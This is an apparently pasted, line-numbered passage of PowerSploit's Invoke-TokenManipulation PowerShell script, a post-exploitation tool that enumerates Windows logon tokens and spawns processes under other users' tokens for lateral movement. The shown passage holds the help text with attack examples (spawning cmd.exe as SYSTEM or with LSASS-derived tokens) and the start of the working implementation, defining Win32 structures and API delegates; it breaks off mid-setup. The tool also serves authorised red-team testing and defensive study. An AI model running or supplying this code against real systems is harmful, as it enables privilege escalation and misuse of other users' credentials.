· 6 years ago · Nov 23, 2019, 05:20 PM
1function Invoke-TokenManipulation
2{
3<#
4.SYNOPSIS
5
6This script requires Administrator privileges. It can enumerate the Logon Tokens available and use them to create new processes. This allows you to use
7anothers users credentials over the network by creating a process with their logon token. This will work even with Windows 8.1 LSASS protections.
8This functionality is very similar to the incognito tool (with some differences, and different use goals).
9
10This script can also make the PowerShell thread impersonate another users Logon Token. Unfortunately this doesn't work well, because PowerShell
11creates new threads to do things, and those threads will use the Primary token of the PowerShell process (your original token) and not the token
12that one thread is impersonating. Because of this, you cannot use thread impersonation to impersonate a user and then use PowerShell remoting to connect
13to another server as that user (it will authenticate using the primary token of the process, which is your original logon token).
14
15Because of this limitation, the recommended way to use this script is to use CreateProcess to create a new PowerShell process with another users Logon
16Token, and then use this process to pivot. This works because the entire process is created using the other users Logon Token, so it will use their
17credentials for the authentication.
18
19IMPORTANT: If you are creating a process, by default this script will modify the ACL of the current users desktop to allow full control to "Everyone".
20This is done so that the UI of the process is shown. If you do not need the UI, use the -NoUI flag to prevent the ACL from being modified. This ACL
21is not permenant, as in, when the current logs off the ACL is cleared. It is still preferrable to not modify things unless they need to be modified though,
22so I created the NoUI flag. ALSO: When creating a process, the script will request SeSecurityPrivilege so it can enumerate and modify the ACL of the desktop.
23This could show up in logs depending on the level of monitoring.
24
25
26PERMISSIONS REQUIRED:
27SeSecurityPrivilege: Needed if launching a process with a UI that needs to be rendered. Using the -NoUI flag blocks this.
28SeAssignPrimaryTokenPrivilege : Needed if launching a process while the script is running in Session 0.
29
30
31Important differences from incognito:
32First of all, you should probably read the incognito white paper to understand what incognito does. If you use incognito, you'll notice it differentiates
33between "Impersonation" and "Delegation" tokens. This is because incognito can be used in situations where you get remote code execution against a service
34which has threads impersonating multiple users. Incognito can enumerate all tokens available to the service process, and impersonate them (which might allow
35you to elevate privileges). This script must be run as administrator, and because you are already an administrator, the primary use of this script is for pivoting
36without dumping credentials.
37
38In this situation, Impersonation vs Delegation does not matter because an administrator can turn any token in to a primary token (delegation rights). What does
39matter is the logon type used to create the logon token. If a user connects using Network Logon (aka type 3 logon), the computer will not have any credentials for
40the user. Since the computer has no credentials associated with the token, it will not be possible to authenticate off-box with the token. All other logon types
41should have credentials associated with them (such as Interactive logon, Service logon, Remote interactive logon, etc). Therefore, this script looks
42for tokens which were created with desirable logon tokens (and only displays them by default).
43
44In a nutshell, instead of worrying about "delegation vs impersonation" tokens, you should worry about NetworkLogon (bad) vs Non-NetworkLogon (good).
45
46
47PowerSploit Function: Invoke-TokenManipulation
48Author: Joe Bialek, Twitter: @JosephBialek
49License: BSD 3-Clause
50Required Dependencies: None
51Optional Dependencies: None
52
53.DESCRIPTION
54
55Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread.
56
57.PARAMETER Enumerate
58
59Switch. Specifics to enumerate logon tokens available. By default this will only list unqiue usable tokens (not network-logon tokens).
60
61.PARAMETER RevToSelf
62
63Switch. Stops impersonating an alternate users Token.
64
65.PARAMETER ShowAll
66
67Switch. Enumerate all Logon Tokens (including non-unique tokens and NetworkLogon tokens).
68
69.PARAMETER ImpersonateUser
70
71Switch. Will impersonate an alternate users logon token in the PowerShell thread. Can specify the token to use by Username, ProcessId, or ThreadId.
72 This mode is not recommended because PowerShell is heavily threaded and many actions won't be done in the current thread. Use CreateProcess instead.
73
74.PARAMETER CreateProcess
75
76Specify a process to create with an alternate users logon token. Can specify the token to use by Username, ProcessId, or ThreadId.
77
78.PARAMETER WhoAmI
79
80Switch. Displays the credentials the PowerShell thread is running under.
81
82.PARAMETER Username
83
84Specify the Token to use by username. This will choose a non-NetworkLogon token belonging to the user.
85
86.PARAMETER ProcessId
87
88Specify the Token to use by ProcessId. This will use the primary token of the process specified.
89
90.PARAMETER Process
91
92Specify the token to use by process object (will use the processId under the covers). This will impersonate the primary token of the process.
93
94.PARAMETER ThreadId
95
96Specify the Token to use by ThreadId. This will use the token of the thread specified.
97
98.PARAMETER ProcessArgs
99
100Specify the arguments to start the specified process with when using the -CreateProcess mode.
101
102.PARAMETER NoUI
103
104If you are creating a process which doesn't need a UI to be rendered, use this flag. This will prevent the script from modifying the Desktop ACL's of the
105current user. If this flag isn't set and -CreateProcess is used, this script will modify the ACL's of the current users desktop to allow full control
106to "Everyone".
107
108.PARAMETER PassThru
109
110If you are creating a process, this will pass the System.Diagnostics.Process object to the pipeline.
111
112
113.EXAMPLE
114
115Invoke-TokenManipulation -Enumerate
116
117Lists all unique usable tokens on the computer.
118
119.EXAMPLE
120
121Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"
122
123Spawns cmd.exe as SYSTEM.
124
125.EXAMPLE
126
127Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system"
128
129Makes the current PowerShell thread impersonate SYSTEM.
130
131.EXAMPLE
132
133Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500
134
135Spawns cmd.exe using the primary token belonging to process ID 500.
136
137.EXAMPLE
138
139Invoke-TokenManipulation -ShowAll
140
141Lists all tokens available on the computer, including non-unique tokens and tokens created using NetworkLogon.
142
143.EXAMPLE
144
145Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500
146
147Spawns cmd.exe using the token belonging to thread ID 500.
148
149.EXAMPLE
150
151Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe"
152
153Spawns cmd.exe using the primary token of LSASS.exe. This pipes the output of Get-Process to the "-Process" parameter of the script.
154
155.EXAMPLE
156
157(Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" -PassThru).WaitForExit()
158
159Spawns cmd.exe using the primary token of LSASS.exe. Then holds the spawning PowerShell session until that process has exited.
160
161.EXAMPLE
162
163Get-Process wininit | Invoke-TokenManipulation -ImpersonateUser
164
165Makes the current thread impersonate the lsass security token.
166
167.NOTES
168This script was inspired by incognito.
169
170Several of the functions used in this script were written by Matt Graeber(Twitter: @mattifestation, Blog: http://www.exploit-monday.com/).
171BIG THANKS to Matt Graeber for helping debug.
172
173.LINK
174
175Blog: http://clymb3r.wordpress.com/
176Github repo: https://github.com/clymb3r/PowerShell
177Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
178
179#>
180
181 [CmdletBinding(DefaultParameterSetName="Enumerate")]
182 Param(
183 [Parameter(ParameterSetName = "Enumerate")]
184 [Switch]
185 $Enumerate,
186
187 [Parameter(ParameterSetName = "RevToSelf")]
188 [Switch]
189 $RevToSelf,
190
191 [Parameter(ParameterSetName = "ShowAll")]
192 [Switch]
193 $ShowAll,
194
195 [Parameter(ParameterSetName = "ImpersonateUser")]
196 [Switch]
197 $ImpersonateUser,
198
199 [Parameter(ParameterSetName = "CreateProcess")]
200 [String]
201 $CreateProcess,
202
203 [Parameter(ParameterSetName = "WhoAmI")]
204 [Switch]
205 $WhoAmI,
206
207 [Parameter(ParameterSetName = "ImpersonateUser")]
208 [Parameter(ParameterSetName = "CreateProcess")]
209 [String]
210 $Username,
211
212 [Parameter(ParameterSetName = "ImpersonateUser")]
213 [Parameter(ParameterSetName = "CreateProcess")]
214 [Int]
215 $ProcessId,
216
217 [Parameter(ParameterSetName = "ImpersonateUser", ValueFromPipeline=$true)]
218 [Parameter(ParameterSetName = "CreateProcess", ValueFromPipeline=$true)]
219 [System.Diagnostics.Process]
220 $Process,
221
222 [Parameter(ParameterSetName = "ImpersonateUser")]
223 [Parameter(ParameterSetName = "CreateProcess")]
224 $ThreadId,
225
226 [Parameter(ParameterSetName = "CreateProcess")]
227 [String]
228 $ProcessArgs,
229
230 [Parameter(ParameterSetName = "CreateProcess")]
231 [Switch]
232 $NoUI,
233
234 [Parameter(ParameterSetName = "CreateProcess")]
235 [Switch]
236 $PassThru
237 )
238
239 Set-StrictMode -Version 2
240
241 #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
242 Function Get-DelegateType
243 {
244 Param
245 (
246 [OutputType([Type])]
247
248 [Parameter( Position = 0)]
249 [Type[]]
250 $Parameters = (New-Object Type[](0)),
251
252 [Parameter( Position = 1 )]
253 [Type]
254 $ReturnType = [Void]
255 )
256
257 $Domain = [AppDomain]::CurrentDomain
258 $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
259 $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
260 $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
261 $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
262 $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
263 $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
264 $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
265 $MethodBuilder.SetImplementationFlags('Runtime, Managed')
266
267 Write-Output $TypeBuilder.CreateType()
268 }
269
270
271 #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
272 Function Get-ProcAddress
273 {
274 Param
275 (
276 [OutputType([IntPtr])]
277
278 [Parameter( Position = 0, Mandatory = $True )]
279 [String]
280 $Module,
281
282 [Parameter( Position = 1, Mandatory = $True )]
283 [String]
284 $Procedure
285 )
286
287 # Get a reference to System.dll in the GAC
288 $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
289 Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
290 $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
291 # Get a reference to the GetModuleHandle and GetProcAddress methods
292 $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
293 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
294 # Get a handle to the module specified
295 $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
296 $tmpPtr = New-Object IntPtr
297 $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
298
299 # Return the address of the function
300 Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
301 }
302
303 ###############################
304 #Win32Constants
305 ###############################
306 $Constants = @{
307 ACCESS_SYSTEM_SECURITY = 0x01000000
308 READ_CONTROL = 0x00020000
309 SYNCHRONIZE = 0x00100000
310 STANDARD_RIGHTS_ALL = 0x001F0000
311 TOKEN_QUERY = 8
312 TOKEN_ADJUST_PRIVILEGES = 0x20
313 ERROR_NO_TOKEN = 0x3f0
314 SECURITY_DELEGATION = 3
315 DACL_SECURITY_INFORMATION = 0x4
316 ACCESS_ALLOWED_ACE_TYPE = 0x0
317 STANDARD_RIGHTS_REQUIRED = 0x000F0000
318 DESKTOP_GENERIC_ALL = 0x000F01FF
319 WRITE_DAC = 0x00040000
320 OBJECT_INHERIT_ACE = 0x1
321 GRANT_ACCESS = 0x1
322 TRUSTEE_IS_NAME = 0x1
323 TRUSTEE_IS_SID = 0x0
324 TRUSTEE_IS_USER = 0x1
325 TRUSTEE_IS_WELL_KNOWN_GROUP = 0x5
326 TRUSTEE_IS_GROUP = 0x2
327 PROCESS_QUERY_INFORMATION = 0x400
328 TOKEN_ASSIGN_PRIMARY = 0x1
329 TOKEN_DUPLICATE = 0x2
330 TOKEN_IMPERSONATE = 0x4
331 TOKEN_QUERY_SOURCE = 0x10
332 STANDARD_RIGHTS_READ = 0x20000
333 TokenStatistics = 10
334 TOKEN_ALL_ACCESS = 0xf01ff
335 MAXIMUM_ALLOWED = 0x02000000
336 THREAD_ALL_ACCESS = 0x1f03ff
337 ERROR_INVALID_PARAMETER = 0x57
338 LOGON_NETCREDENTIALS_ONLY = 0x2
339 SE_PRIVILEGE_ENABLED = 0x2
340 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1
341 SE_PRIVILEGE_REMOVED = 0x4
342 }
343
344 $Win32Constants = New-Object PSObject -Property $Constants
345 ###############################
346
347
348 ###############################
349 #Win32Structures
350 ###############################
351 #Define all the structures/enums that will be used
352 # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
353 $Domain = [AppDomain]::CurrentDomain
354 $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
355 $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
356 $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
357 $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
358
359 #ENUMs
360 $TypeBuilder = $ModuleBuilder.DefineEnum('TOKEN_INFORMATION_CLASS', 'Public', [UInt32])
361 $TypeBuilder.DefineLiteral('TokenUser', [UInt32] 1) | Out-Null
362 $TypeBuilder.DefineLiteral('TokenGroups', [UInt32] 2) | Out-Null
363 $TypeBuilder.DefineLiteral('TokenPrivileges', [UInt32] 3) | Out-Null
364 $TypeBuilder.DefineLiteral('TokenOwner', [UInt32] 4) | Out-Null
365 $TypeBuilder.DefineLiteral('TokenPrimaryGroup', [UInt32] 5) | Out-Null
366 $TypeBuilder.DefineLiteral('TokenDefaultDacl', [UInt32] 6) | Out-Null
367 $TypeBuilder.DefineLiteral('TokenSource', [UInt32] 7) | Out-Null
368 $TypeBuilder.DefineLiteral('TokenType', [UInt32] 8) | Out-Null
369 $TypeBuilder.DefineLiteral('TokenImpersonationLevel', [UInt32] 9) | Out-Null
370 $TypeBuilder.DefineLiteral('TokenStatistics', [UInt32] 10) | Out-Null
371 $TypeBuilder.DefineLiteral('TokenRestrictedSids', [UInt32] 11) | Out-Null
372 $TypeBuilder.DefineLiteral('TokenSessionId', [UInt32] 12) | Out-Null
373 $TypeBuilder.DefineLiteral('TokenGroupsAndPrivileges', [UInt32] 13) | Out-Null
374 $TypeBuilder.DefineLiteral('TokenSessionReference', [UInt32] 14) | Out-Null
375 $TypeBuilder.DefineLiteral('TokenSandBoxInert', [UInt32] 15) | Out-Null
376 $TypeBuilder.DefineLiteral('TokenAuditPolicy', [UInt32] 16) | Out-Null
377 $TypeBuilder.DefineLiteral('TokenOrigin', [UInt32] 17) | Out-Null
378 $TypeBuilder.DefineLiteral('TokenElevationType', [UInt32] 18) | Out-Null
379 $TypeBuilder.DefineLiteral('TokenLinkedToken', [UInt32] 19) | Out-Null
380 $TypeBuilder.DefineLiteral('TokenElevation', [UInt32] 20) | Out-Null
381 $TypeBuilder.DefineLiteral('TokenHasRestrictions', [UInt32] 21) | Out-Null
382 $TypeBuilder.DefineLiteral('TokenAccessInformation', [UInt32] 22) | Out-Null
383 $TypeBuilder.DefineLiteral('TokenVirtualizationAllowed', [UInt32] 23) | Out-Null
384 $TypeBuilder.DefineLiteral('TokenVirtualizationEnabled', [UInt32] 24) | Out-Null
385 $TypeBuilder.DefineLiteral('TokenIntegrityLevel', [UInt32] 25) | Out-Null
386 $TypeBuilder.DefineLiteral('TokenUIAccess', [UInt32] 26) | Out-Null
387 $TypeBuilder.DefineLiteral('TokenMandatoryPolicy', [UInt32] 27) | Out-Null
388 $TypeBuilder.DefineLiteral('TokenLogonSid', [UInt32] 28) | Out-Null
389 $TypeBuilder.DefineLiteral('TokenIsAppContainer', [UInt32] 29) | Out-Null
390 $TypeBuilder.DefineLiteral('TokenCapabilities', [UInt32] 30) | Out-Null
391 $TypeBuilder.DefineLiteral('TokenAppContainerSid', [UInt32] 31) | Out-Null
392 $TypeBuilder.DefineLiteral('TokenAppContainerNumber', [UInt32] 32) | Out-Null
393 $TypeBuilder.DefineLiteral('TokenUserClaimAttributes', [UInt32] 33) | Out-Null
394 $TypeBuilder.DefineLiteral('TokenDeviceClaimAttributes', [UInt32] 34) | Out-Null
395 $TypeBuilder.DefineLiteral('TokenRestrictedUserClaimAttributes', [UInt32] 35) | Out-Null
396 $TypeBuilder.DefineLiteral('TokenRestrictedDeviceClaimAttributes', [UInt32] 36) | Out-Null
397 $TypeBuilder.DefineLiteral('TokenDeviceGroups', [UInt32] 37) | Out-Null
398 $TypeBuilder.DefineLiteral('TokenRestrictedDeviceGroups', [UInt32] 38) | Out-Null
399 $TypeBuilder.DefineLiteral('TokenSecurityAttributes', [UInt32] 39) | Out-Null
400 $TypeBuilder.DefineLiteral('TokenIsRestricted', [UInt32] 40) | Out-Null
401 $TypeBuilder.DefineLiteral('MaxTokenInfoClass', [UInt32] 41) | Out-Null
402 $TOKEN_INFORMATION_CLASS = $TypeBuilder.CreateType()
403
404 #STRUCTs
405 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
406 $TypeBuilder = $ModuleBuilder.DefineType('LARGE_INTEGER', $Attributes, [System.ValueType], 8)
407 $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
408 $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
409 $LARGE_INTEGER = $TypeBuilder.CreateType()
410
411 #Struct LUID
412 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
413 $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
414 $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
415 $TypeBuilder.DefineField('HighPart', [Int32], 'Public') | Out-Null
416 $LUID = $TypeBuilder.CreateType()
417
418 #Struct TOKEN_STATISTICS
419 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
420 $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_STATISTICS', $Attributes, [System.ValueType])
421 $TypeBuilder.DefineField('TokenId', $LUID, 'Public') | Out-Null
422 $TypeBuilder.DefineField('AuthenticationId', $LUID, 'Public') | Out-Null
423 $TypeBuilder.DefineField('ExpirationTime', $LARGE_INTEGER, 'Public') | Out-Null
424 $TypeBuilder.DefineField('TokenType', [UInt32], 'Public') | Out-Null
425 $TypeBuilder.DefineField('ImpersonationLevel', [UInt32], 'Public') | Out-Null
426 $TypeBuilder.DefineField('DynamicCharged', [UInt32], 'Public') | Out-Null
427 $TypeBuilder.DefineField('DynamicAvailable', [UInt32], 'Public') | Out-Null
428 $TypeBuilder.DefineField('GroupCount', [UInt32], 'Public') | Out-Null
429 $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
430 $TypeBuilder.DefineField('ModifiedId', $LUID, 'Public') | Out-Null
431 $TOKEN_STATISTICS = $TypeBuilder.CreateType()
432
433 #Struct LSA_UNICODE_STRING
434 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
435 $TypeBuilder = $ModuleBuilder.DefineType('LSA_UNICODE_STRING', $Attributes, [System.ValueType])
436 $TypeBuilder.DefineField('Length', [UInt16], 'Public') | Out-Null
437 $TypeBuilder.DefineField('MaximumLength', [UInt16], 'Public') | Out-Null
438 $TypeBuilder.DefineField('Buffer', [IntPtr], 'Public') | Out-Null
439 $LSA_UNICODE_STRING = $TypeBuilder.CreateType()
440
441 #Struct LSA_LAST_INTER_LOGON_INFO
442 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
443 $TypeBuilder = $ModuleBuilder.DefineType('LSA_LAST_INTER_LOGON_INFO', $Attributes, [System.ValueType])
444 $TypeBuilder.DefineField('LastSuccessfulLogon', $LARGE_INTEGER, 'Public') | Out-Null
445 $TypeBuilder.DefineField('LastFailedLogon', $LARGE_INTEGER, 'Public') | Out-Null
446 $TypeBuilder.DefineField('FailedAttemptCountSinceLastSuccessfulLogon', [UInt32], 'Public') | Out-Null
447 $LSA_LAST_INTER_LOGON_INFO = $TypeBuilder.CreateType()
448
449 #Struct SECURITY_LOGON_SESSION_DATA
450 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
451 $TypeBuilder = $ModuleBuilder.DefineType('SECURITY_LOGON_SESSION_DATA', $Attributes, [System.ValueType])
452 $TypeBuilder.DefineField('Size', [UInt32], 'Public') | Out-Null
453 $TypeBuilder.DefineField('LoginID', $LUID, 'Public') | Out-Null
454 $TypeBuilder.DefineField('Username', $LSA_UNICODE_STRING, 'Public') | Out-Null
455 $TypeBuilder.DefineField('LoginDomain', $LSA_UNICODE_STRING, 'Public') | Out-Null
456 $TypeBuilder.DefineField('AuthenticationPackage', $LSA_UNICODE_STRING, 'Public') | Out-Null
457 $TypeBuilder.DefineField('LogonType', [UInt32], 'Public') | Out-Null
458 $TypeBuilder.DefineField('Session', [UInt32], 'Public') | Out-Null
459 $TypeBuilder.DefineField('Sid', [IntPtr], 'Public') | Out-Null
460 $TypeBuilder.DefineField('LoginTime', $LARGE_INTEGER, 'Public') | Out-Null
461 $TypeBuilder.DefineField('LoginServer', $LSA_UNICODE_STRING, 'Public') | Out-Null
462 $TypeBuilder.DefineField('DnsDomainName', $LSA_UNICODE_STRING, 'Public') | Out-Null
463 $TypeBuilder.DefineField('Upn', $LSA_UNICODE_STRING, 'Public') | Out-Null
464 $TypeBuilder.DefineField('UserFlags', [UInt32], 'Public') | Out-Null
465 $TypeBuilder.DefineField('LastLogonInfo', $LSA_LAST_INTER_LOGON_INFO, 'Public') | Out-Null
466 $TypeBuilder.DefineField('LogonScript', $LSA_UNICODE_STRING, 'Public') | Out-Null
467 $TypeBuilder.DefineField('ProfilePath', $LSA_UNICODE_STRING, 'Public') | Out-Null
468 $TypeBuilder.DefineField('HomeDirectory', $LSA_UNICODE_STRING, 'Public') | Out-Null
469 $TypeBuilder.DefineField('HomeDirectoryDrive', $LSA_UNICODE_STRING, 'Public') | Out-Null
470 $TypeBuilder.DefineField('LogoffTime', $LARGE_INTEGER, 'Public') | Out-Null
471 $TypeBuilder.DefineField('KickOffTime', $LARGE_INTEGER, 'Public') | Out-Null
472 $TypeBuilder.DefineField('PasswordLastSet', $LARGE_INTEGER, 'Public') | Out-Null
473 $TypeBuilder.DefineField('PasswordCanChange', $LARGE_INTEGER, 'Public') | Out-Null
474 $TypeBuilder.DefineField('PasswordMustChange', $LARGE_INTEGER, 'Public') | Out-Null
475 $SECURITY_LOGON_SESSION_DATA = $TypeBuilder.CreateType()
476
477 #Struct STARTUPINFO
478 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
479 $TypeBuilder = $ModuleBuilder.DefineType('STARTUPINFO', $Attributes, [System.ValueType])
480 $TypeBuilder.DefineField('cb', [UInt32], 'Public') | Out-Null
481 $TypeBuilder.DefineField('lpReserved', [IntPtr], 'Public') | Out-Null
482 $TypeBuilder.DefineField('lpDesktop', [IntPtr], 'Public') | Out-Null
483 $TypeBuilder.DefineField('lpTitle', [IntPtr], 'Public') | Out-Null
484 $TypeBuilder.DefineField('dwX', [UInt32], 'Public') | Out-Null
485 $TypeBuilder.DefineField('dwY', [UInt32], 'Public') | Out-Null
486 $TypeBuilder.DefineField('dwXSize', [UInt32], 'Public') | Out-Null
487 $TypeBuilder.DefineField('dwYSize', [UInt32], 'Public') | Out-Null
488 $TypeBuilder.DefineField('dwXCountChars', [UInt32], 'Public') | Out-Null
489 $TypeBuilder.DefineField('dwYCountChars', [UInt32], 'Public') | Out-Null
490 $TypeBuilder.DefineField('dwFillAttribute', [UInt32], 'Public') | Out-Null
491 $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') | Out-Null
492 $TypeBuilder.DefineField('wShowWindow', [UInt16], 'Public') | Out-Null
493 $TypeBuilder.DefineField('cbReserved2', [UInt16], 'Public') | Out-Null
494 $TypeBuilder.DefineField('lpReserved2', [IntPtr], 'Public') | Out-Null
495 $TypeBuilder.DefineField('hStdInput', [IntPtr], 'Public') | Out-Null
496 $TypeBuilder.DefineField('hStdOutput', [IntPtr], 'Public') | Out-Null
497 $TypeBuilder.DefineField('hStdError', [IntPtr], 'Public') | Out-Null
498 $STARTUPINFO = $TypeBuilder.CreateType()
499
500 #Struct PROCESS_INFORMATION
501 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
502 $TypeBuilder = $ModuleBuilder.DefineType('PROCESS_INFORMATION', $Attributes, [System.ValueType])
503 $TypeBuilder.DefineField('hProcess', [IntPtr], 'Public') | Out-Null
504 $TypeBuilder.DefineField('hThread', [IntPtr], 'Public') | Out-Null
505 $TypeBuilder.DefineField('dwProcessId', [UInt32], 'Public') | Out-Null
506 $TypeBuilder.DefineField('dwThreadId', [UInt32], 'Public') | Out-Null
507 $PROCESS_INFORMATION = $TypeBuilder.CreateType()
508
509 #Struct TOKEN_ELEVATION
510 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
511 $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_ELEVATION', $Attributes, [System.ValueType])
512 $TypeBuilder.DefineField('TokenIsElevated', [UInt32], 'Public') | Out-Null
513 $TOKEN_ELEVATION = $TypeBuilder.CreateType()
514
515 #Struct LUID_AND_ATTRIBUTES
516 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
517 $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
518 $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
519 $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
520 $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
521
522 #Struct TOKEN_PRIVILEGES
523 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
524 $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
525 $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
526 $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
527 $TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
528
529 #Struct ACE_HEADER
530 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
531 $TypeBuilder = $ModuleBuilder.DefineType('ACE_HEADER', $Attributes, [System.ValueType])
532 $TypeBuilder.DefineField('AceType', [Byte], 'Public') | Out-Null
533 $TypeBuilder.DefineField('AceFlags', [Byte], 'Public') | Out-Null
534 $TypeBuilder.DefineField('AceSize', [UInt16], 'Public') | Out-Null
535 $ACE_HEADER = $TypeBuilder.CreateType()
536
537 #Struct ACL
538 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
539 $TypeBuilder = $ModuleBuilder.DefineType('ACL', $Attributes, [System.ValueType])
540 $TypeBuilder.DefineField('AclRevision', [Byte], 'Public') | Out-Null
541 $TypeBuilder.DefineField('Sbz1', [Byte], 'Public') | Out-Null
542 $TypeBuilder.DefineField('AclSize', [UInt16], 'Public') | Out-Null
543 $TypeBuilder.DefineField('AceCount', [UInt16], 'Public') | Out-Null
544 $TypeBuilder.DefineField('Sbz2', [UInt16], 'Public') | Out-Null
545 $ACL = $TypeBuilder.CreateType()
546
547 #Struct ACE_HEADER
548 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
549 $TypeBuilder = $ModuleBuilder.DefineType('ACCESS_ALLOWED_ACE', $Attributes, [System.ValueType])
550 $TypeBuilder.DefineField('Header', $ACE_HEADER, 'Public') | Out-Null
551 $TypeBuilder.DefineField('Mask', [UInt32], 'Public') | Out-Null
552 $TypeBuilder.DefineField('SidStart', [UInt32], 'Public') | Out-Null
553 $ACCESS_ALLOWED_ACE = $TypeBuilder.CreateType()
554
555 #Struct TRUSTEE
556 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
557 $TypeBuilder = $ModuleBuilder.DefineType('TRUSTEE', $Attributes, [System.ValueType])
558 $TypeBuilder.DefineField('pMultipleTrustee', [IntPtr], 'Public') | Out-Null
559 $TypeBuilder.DefineField('MultipleTrusteeOperation', [UInt32], 'Public') | Out-Null
560 $TypeBuilder.DefineField('TrusteeForm', [UInt32], 'Public') | Out-Null
561 $TypeBuilder.DefineField('TrusteeType', [UInt32], 'Public') | Out-Null
562 $TypeBuilder.DefineField('ptstrName', [IntPtr], 'Public') | Out-Null
563 $TRUSTEE = $TypeBuilder.CreateType()
564
565 #Struct EXPLICIT_ACCESS
566 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
567 $TypeBuilder = $ModuleBuilder.DefineType('EXPLICIT_ACCESS', $Attributes, [System.ValueType])
568 $TypeBuilder.DefineField('grfAccessPermissions', [UInt32], 'Public') | Out-Null
569 $TypeBuilder.DefineField('grfAccessMode', [UInt32], 'Public') | Out-Null
570 $TypeBuilder.DefineField('grfInheritance', [UInt32], 'Public') | Out-Null
571 $TypeBuilder.DefineField('Trustee', $TRUSTEE, 'Public') | Out-Null
572 $EXPLICIT_ACCESS = $TypeBuilder.CreateType()
573 ###############################
574
575
576 ###############################
577 #Win32Functions
578 ###############################
579 $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
580 $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
